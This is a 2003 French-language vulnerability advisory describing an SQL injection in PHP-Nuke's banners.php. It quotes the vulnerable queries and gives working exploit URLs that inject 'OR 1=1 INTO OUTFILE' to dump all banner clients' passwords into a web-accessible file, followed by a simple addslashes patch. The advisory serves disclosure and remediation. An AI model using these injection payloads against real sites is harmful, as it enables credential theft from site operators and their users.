PHP-Nuke : banners.php ********************** Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://www.phpnuke.org Version : 5.6, 6.0, 6.5 RC1, 6.5 RC2, 6.5 RC3 Problème : Injection SQL Developpement : °°°°°°°°°°°°°°° Dans PHP-Nuke, le CMS (Content Management System) en PHP, se trouve un fichier "banners.php", permettant de gérer un système de bannière (affichage, membres,...). Dans ce fichier on peut voir le code : ------------------------------------------------------------------------------------------------------------------------ [...] function bannerstats($login, $pass) { global $prefix, $db, $sitename; $sql = "SELECT cid, name, passwd FROM ".$prefix."_bannerclient WHERE login='$login'"; $result = $db->sql_query($sql); $row = $db->sql_fetchrow($result); [...] function change_banner_url_by_client($login, $pass, $cid, $bid, $url, $alttext) { global $prefix, $db; $sql = "SELECT passwd FROM ".$prefix."_bannerclient WHERE cid='$cid'"; $result = $db->sql_query($sql); $row = $db->sql_fetchrow($result); $passwd = $row[passwd]; if (!empty($pass) AND $pass==$passwd) { $alttext = ereg_replace("\"", "", $alttext); $alttext = ereg_replace("'", "", $alttext); $db->sql_query("UPDATE ".$prefix."_banner SET clickurl='$url', alttext='$alttext' WHERE bid='$bid'"); echo "
"; if ($url != "") { echo "You changed the URL
"; } if ($alttext != "") { echo "You changed the Alternate Text"; } echo "

Back to Stats Page
"; } else { echo "

Your login/password doesn't match.

Please login again
"; } } switch($op) { [...] case "Ok": bannerstats($login, $pass); break; case "Change": change_banner_url_by_client($login, $pass, $cid, $bid, $url, $alttext); break; } [...] ?> ------------------------------------------------------------------------------------------------------------------------ On voit que dans ces deux fonctions son executées des requêtes SQL. Dans bannerstats() : ----------------------------------------------------------------------------------------- $sql = "SELECT cid, name, passwd FROM ".$prefix."_bannerclient WHERE login='$login'"; ----------------------------------------------------------------------------------------- Dans change_banner_url_by_client() : -------------------------------------------------------------------------- $sql = "SELECT passwd FROM ".$prefix."_bannerclient WHERE cid='$cid'"; -------------------------------------------------------------------------- Ces deux requêtes extraient de la table nuke_bannerclient l'information "passwd", c'est-à-dire le mot de passe d'un membre de la gestion de bannières. Si la configuration php le permet, c'est-à-dire que magic_quotes_gpc=OFF, on pourra récuperer ces informations dans un fichier, grâce à l'url : http://[target]/banners.php?op=Ok&login='%20OR%201=1%20INTO%20OUTFILE%20'[path/to/site]/banners1.txt ou http://[target]/banners.php?op=Change&cid='%20OR%201=1%20INTO%20OUTFILE%20'[path/to/site]/banners2.txt Ce qui donnera les requêtes : ---------------------------------------------------------------------------------------------------------------- SELECT cid, name, passwd FROM nuke_bannerclient WHERE login='' OR 1=1 INTO OUTFILE '[path/to/site]/banners1.txt' ---------------------------------------------------------------------------------------------------------------- et -------------------------------------------------------------------------------------------------- SELECT passwd FROM nuke_bannerclient WHERE cid='' OR 1=1 INTO OUTILE '[path/to/site]/banners2.txt' -------------------------------------------------------------------------------------------------- Comme le 1=1 renvois toujours vrai, les informations de TOUT inscrit dans "bannières" seront enregistrés dans http://[target]/banners1.txt ou http://[target]/banners2.txt (si [path/to/site] est bien le chemin correct du site dans le disque dur). Patch : °°°°°°° Ajouter au début du fichier : -------------------------- $cid=addslashes($cid); $login=addslashes($login); -------------------------- Un patch peut être trouvé sur http://www.phpsecure.info. Credits : °°°°°°°°° Auteur : frog-m@n E-mail : frog-man@frog-man.org Website : http://www.phpsecure.info Date : 16/03/03